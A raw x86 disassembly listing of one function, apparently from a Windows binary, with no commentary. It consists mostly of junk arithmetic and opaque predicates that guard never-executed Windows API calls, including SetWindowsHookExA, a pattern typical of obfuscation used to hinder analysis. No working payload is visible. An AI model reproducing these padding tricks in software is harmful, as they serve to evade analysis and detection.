mov dword [ebp - 0x5bc], 1
jmp 0x4569fa
and dword [ebp - 0x5bc], 0
cmp dword [ebp - 4], 7
jae 0x456a0c
mov dword [ebp - 0x5c0], 1
jmp 0x456a13
and dword [ebp - 0x5c0], 0
mov eax, dword [ebp - 4]
neg eax
je 0x456a26
mov dword [ebp - 0x440], 1
jmp 0x456a2d
and dword [ebp - 0x440], 0
mov eax, dword [ebp - 4]
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x68]
add eax, dword [ebp - 0x440]
add eax, dword [ebp - 4]
cmp eax, dword [ebp - 4]
jl 0x456a7f
mov dword [ebp - 4], 0xfffffffd
jmp 0x456a54
mov eax, dword [ebp - 4]
dec eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffe2
jle 0x456a7a
mov byte [ebp - 0x76], 0
movzx eax, byte [ebp - 0x76]
test eax, eax
je 0x456a70
push 0
push 0
call dword [sym.imp.GDI32.dll_GetRgnBox]
cmp dword [ebp - 4], 0
je 0x456a78
jmp 0x456a4d
jmp 0x456a4d
jmp 0x456daf
mov dword [ebp - 0x28], 0xd764ce34
push 3
lea ecx, [ebp - 0x6f0]
call fcn.00421789
mov dword [ebp - 0x5b4], 4
mov dword [ebp - 0x130], 0
jmp 0x456ab6
mov eax, dword [ebp - 0x130]
inc eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 3
jge 0x456ad8
push dword [ebp - 0x130]
lea ecx, [ebp - 0x6f0]
call fcn.0042182a
mov dword [eax], 0x2fb29d94
jmp 0x456aa9
cmp dword [ebp - 0x68], 0
je 0x456af3
mov eax, 0x7b30498d
test eax, eax
je 0x456af3
mov dword [ebp - 0x460], 1
jmp 0x456afa
and dword [ebp - 0x460], 0
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x8b8], eax
mov eax, dword [ebp - 0x68]
add eax, dword [ebp - 0x68]
imul eax, eax, 0x783
cmp eax, dword [ebp - 0x28]
jle 0x456b20
mov dword [ebp - 0x448], 1
jmp 0x456b27
and dword [ebp - 0x448], 0
mov eax, dword [ebp - 0x448]
add eax, 0xffff
je 0x456b47
push 6
pop eax
test eax, eax
je 0x456b47
mov dword [ebp - 0x450], 1
jmp 0x456b4e
and dword [ebp - 0x450], 0
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x450]
jl 0x456b65
mov dword [ebp - 0x5c8], 1
jmp 0x456b6c
and dword [ebp - 0x5c8], 0
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x824], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x458], eax
push 2
lea ecx, [ebp - 0x6f0]
call fcn.0042182a
mov ecx, dword [ebp - 0x458]
mov dword [eax], ecx
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x458], eax
je 0x456bb0
cmp dword [ebp - 4], 0
je 0x456bb0
mov dword [ebp - 0x468], 1
jmp 0x456bb7
and dword [ebp - 0x468], 0
mov eax, dword [ebp - 0x460]
cmp eax, dword [ebp - 0x468]
jl 0x456bd1
mov dword [ebp - 0x470], 1
jmp 0x456bd8
and dword [ebp - 0x470], 0
mov eax, dword [ebp - 0x68]
cmp dword [ebp - 0x470], eax
jl 0x456bf2
cmp dword [ebp - 4], 0
jne 0x456bf2
and dword [ebp - 0x478], 0
jmp 0x456bfc
mov dword [ebp - 0x478], 1
mov eax, dword [ebp - 4]
cmp dword [ebp - 0x478], eax
jg 0x456c60
mov dword [ebp - 0x28], 0
jmp 0x456c17
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 2
jg 0x456c3a
mov dword [ebp - 0x5d0], 1
mov eax, dword [ebp - 0x5d0]
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x28], 0
je 0x456c38
jmp 0x456c10
jmp 0x456c10
mov byte [ebp - 0x8a], 0
movzx eax, byte [ebp - 0x8a]
test eax, eax
je 0x456c5b
push 1
push 0
push 0x14b8
call dword [sym.imp.USER32.dll_SetWindowRgn]
jmp 0x456d87
mov dword [ebp - 0x5d8], 0xffffffff
mov dword [ebp - 0xf8], 0xb1f0cfad
mov dword [ebp - 0x498], 6
mov eax, dword [ebp - 0x68]
cmp dword [ebp - 0x5d8], eax
jne 0x456c95
mov dword [ebp - 0x4a0], 1
jmp 0x456c9c
and dword [ebp - 0x4a0], 0
mov eax, dword [ebp - 4]
cmp dword [ebp - 0xf8], eax
jle 0x456cb3
mov dword [ebp - 0x480], 1
jmp 0x456cba
and dword [ebp - 0x480], 0
mov eax, dword [ebp - 0xf8]
cmp eax, dword [ebp - 0x480]
jne 0x456cd4
mov dword [ebp - 0x488], 1
jmp 0x456cdb
and dword [ebp - 0x488], 0
mov eax, dword [ebp - 0xf8]
cmp dword [ebp - 0x488], eax
jl 0x456cf5
mov dword [ebp - 0x490], 1
jmp 0x456cfc
and dword [ebp - 0x490], 0
mov eax, dword [ebp - 0x490]
mov dword [ebp - 0x498], eax
mov eax, dword [ebp - 0x498]
mov dword [ebp - 0x8b4], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x82c], eax
mov eax, 0x77c83be7
dec eax
cmp dword [ebp - 0x4a0], eax
jne 0x456d37
mov dword [ebp - 0x4a8], 1
jmp 0x456d3e
and dword [ebp - 0x4a8], 0
cmp dword [ebp - 0x4a8], 9
je 0x456d53
mov dword [ebp - 0x4b0], 1
jmp 0x456d5a
and dword [ebp - 0x4b0], 0
mov eax, dword [ebp - 0xf8]
cmp dword [ebp - 0x4b0], eax
jne 0x456d74
mov dword [ebp - 0x4b8], 1
jmp 0x456d7b
and dword [ebp - 0x4b8], 0
mov eax, dword [ebp - 0x4b8]
mov dword [ebp - 0x5b4], eax
mov byte [ebp - 0x78], 0
movzx eax, byte [ebp - 0x78]
test eax, eax
je 0x456da4
push 0
push 0xea4
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SignalObjectAndWait]
lea ecx, [ebp - 0x6f0]
call fcn.00421825
mov byte [ebp - 0x8c], 0
movzx eax, byte [ebp - 0x8c]
test eax, eax
je 0x456fe4
mov dword [ebp - 0x70], 9
mov dword [ebp - 0xc0], 3
mov dword [ebp - 0x1d8], 0xd7d393e7
push 3
lea ecx, [ebp - 0x6fc]
call fcn.00421789
mov dword [ebp - 0x4d8], 0x7c869b7d
mov dword [ebp - 0x228], 8
mov dword [ebp - 0x230], 1
mov dword [ebp - 0x5e8], 0xfbf26171
mov dword [ebp - 0x140], 0
jmp 0x456e2e
mov eax, dword [ebp - 0x140]
inc eax
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 3
jge 0x456e50
push dword [ebp - 0x140]
lea ecx, [ebp - 0x6fc]
call fcn.0042182a
mov dword [eax], 0xe61780ee
jmp 0x456e21
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x8bc], eax
mov eax, dword [ebp - 0xc0]
cmp dword [ebp - 0x70], eax
jle 0x456e80
mov eax, 0x5047
test eax, eax
je 0x456e80
mov dword [ebp - 0x4e0], 1
jmp 0x456e87
and dword [ebp - 0x4e0], 0
mov eax, dword [ebp - 0x1d8]
mov dword [ebp - 0x750], eax
push 1
lea ecx, [ebp - 0x6fc]
call fcn.0042182a
mov dword [eax], 2
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0x758], eax
mov eax, dword [ebp - 0x1d8]
dec eax
mov dword [ebp - 0x1d8], eax
mov eax, dword [ebp - 0x70]
add eax, dword [ebp - 0x70]
cmp eax, 0x3d59
jge 0x456ed8
mov dword [ebp - 0x4c0], 1
jmp 0x456edf
and dword [ebp - 0x4c0], 0
mov eax, dword [ebp - 0x70]
cmp dword [ebp - 0x4c0], eax
jne 0x456ef6
mov dword [ebp - 0x4c8], 1
jmp 0x456efd
and dword [ebp - 0x4c8], 0
mov eax, dword [ebp - 0xc0]
cmp dword [ebp - 0x4c8], eax
jg 0x456f17
mov dword [ebp - 0x4d0], 1
jmp 0x456f1e
and dword [ebp - 0x4d0], 0
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0x4d8], eax
cmp dword [ebp - 0x4d8], 0xfff8
je 0x456f42
mov dword [ebp - 0x4e8], 1
jmp 0x456f49
and dword [ebp - 0x4e8], 0
mov eax, dword [ebp - 0x4e0]
cmp eax, dword [ebp - 0x4e8]
je 0x456f63
mov dword [ebp - 0x220], 1
jmp 0x456f6a
and dword [ebp - 0x220], 0
mov eax, dword [ebp - 0x220]
sub eax, dword [ebp - 0xc0]
mov dword [ebp - 0x228], eax
mov eax, dword [ebp - 0x228]
mov dword [ebp - 0x230], eax
mov eax, dword [ebp - 0x70]
cmp dword [ebp - 0x230], eax
jl 0x456f9f
mov dword [ebp - 0x238], 1
jmp 0x456fa6
and dword [ebp - 0x238], 0
mov eax, dword [ebp - 0xc0]
add eax, dword [ebp - 0x238]
sub eax, dword [ebp - 0xc0]
mov dword [ebp - 0x5e8], eax
lea ecx, [ebp - 0x6fc]
call fcn.00421825
push 0x10bb
push 0
push 0
push 0x197d
push 0
push 0x8e6
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x148], 0
jmp 0x457004
mov eax, dword [ebp - 0x148]
inc eax
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0x148], 1
jge 0x457020
mov eax, dword [ebp - 0x148]
mov dword [ebp + eax*4 - 0x760], 0xffff
jmp 0x456ff7
mov dword [ebp - 0x58], 0
jmp 0x457030
mov eax, dword [ebp - 0x58]
dec eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
jl 0x457055
mov byte [ebp - 0x85], 0
movzx eax, byte [ebp - 0x85]
test eax, eax
je 0x457053
push 0x1cb8
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
jmp 0x457029
mov dword [ebp - 0x58], 0
jmp 0x457065
mov eax, dword [ebp - 0x58]
dec eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0xffffffed
jl 0x4570c1
mov dword [ebp - 0x150], 0xffffffff
mov dword [ebp - 0x150], 0
jmp 0x45708e
mov eax, dword [ebp - 0x150]
dec eax
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 0
jl 0x4570bf
mov byte [ebp - 0x90], 0
movzx eax, byte [ebp - 0x90]
test eax, eax
je 0x4570bd
push 0x1dfa
push 0
push 0
push 0xe9c
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
jmp 0x457081
jmp 0x45705e
jmp 0x45736b
mov dword [ebp - 0x84], 0
mov dword [ebp - 0x258], 3
mov dword [ebp - 0x768], 0x5d1cb6a7
mov dword [ebp - 0xcc], 0x23703acb
mov dword [ebp - 0x158], 0
jmp 0x457107
mov eax, dword [ebp - 0x158]
inc eax
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 3
jge 0x457123
mov eax, dword [ebp - 0x158]
mov dword [ebp + eax*4 - 0x8a0], 0x648261f9
jmp 0x4570fa
mov dword [ebp - 0x84], 2
jmp 0x45713c
mov eax, dword [ebp - 0x84]
dec eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
jl 0x457193
mov dword [ebp - 0x770], 0xfffffff6
mov dword [ebp - 0xfc], 0
jmp 0x457168
mov eax, dword [ebp - 0xfc]
inc eax
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 3
jge 0x457184
mov eax, dword [ebp - 0xfc]
mov dword [ebp + eax*4 - 0x9c0], 0xdb34e6d4
jmp 0x45715b
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
jmp 0x45712f
mov eax, dword [ebp - 0xcc]
neg eax
je 0x457274
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x8a0]
cmp dword [ebp - 0x84], eax
je 0x4571c2
mov dword [ebp - 0x5f0], 1
jmp 0x4571c9
and dword [ebp - 0x5f0], 0
mov eax, dword [ebp - 0xcc]
mov dword [ebp - 0x778], eax
cmp dword [ebp - 0x258], 0xffffffff
jbe 0x4571ea
mov dword [ebp - 0x240], 1
jmp 0x4571f1
and dword [ebp - 0x240], 0
cmp dword [ebp - 0x240], 6
jb 0x457206
mov dword [ebp - 0x248], 1
jmp 0x45720d
and dword [ebp - 0x248], 0
mov eax, dword [ebp - 0xcc]
cmp dword [ebp - 0x248], eax
jge 0x457227
mov dword [ebp - 0x250], 1
jmp 0x45722e
and dword [ebp - 0x250], 0
mov eax, dword [ebp - 0x84]
sub eax, dword [ebp - 0x250]
jne 0x45724e
cmp dword [ebp - 0x258], 0
jne 0x45724e
and dword [ebp - 0x260], 0
jmp 0x457258
mov dword [ebp - 0x260], 1
cmp dword [ebp - 0x260], 0xffffffff
jbe 0x45726d
mov dword [ebp - 0x268], 1
jmp 0x457274
and dword [ebp - 0x268], 0
cmp dword [ebp - 0x84], 0xb4415e40
jbe 0x45728c
mov dword [ebp - 0x270], 1
jmp 0x457293
and dword [ebp - 0x270], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x270]
mov dword [ebp + eax - 0x8a0], ecx
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x5f8], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x600], eax
push 2
lea ecx, [ebp - 0x8b0]
call fcn.00421789
mov dword [ebp - 0x10c], 0xdf1febae
mov dword [ebp - 0x104], 0
jmp 0x4572e7
mov eax, dword [ebp - 0x104]
inc eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 2
jge 0x457309
push dword [ebp - 0x104]
lea ecx, [ebp - 0x8b0]
call fcn.0042182a
mov dword [eax], 0xfffffff7
jmp 0x4572da
mov dword [ebp - 0x10c], 1
jmp 0x457322
mov eax, dword [ebp - 0x10c]
dec eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
jl 0x45734a
mov byte [ebp - 0x87], 0
movzx eax, byte [ebp - 0x87]
test eax, eax
je 0x457348
push 0x133d
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
jmp 0x457315
lea ecx, [ebp - 0x8b0]
call fcn.00421825
push 0
push dword [ebp - 0x5f8]
push dword [ebp - 0x600]
call fcn.0045309c
add esp, 0xc
pop edi
pop esi
mov esp, ebp
pop ebp
ret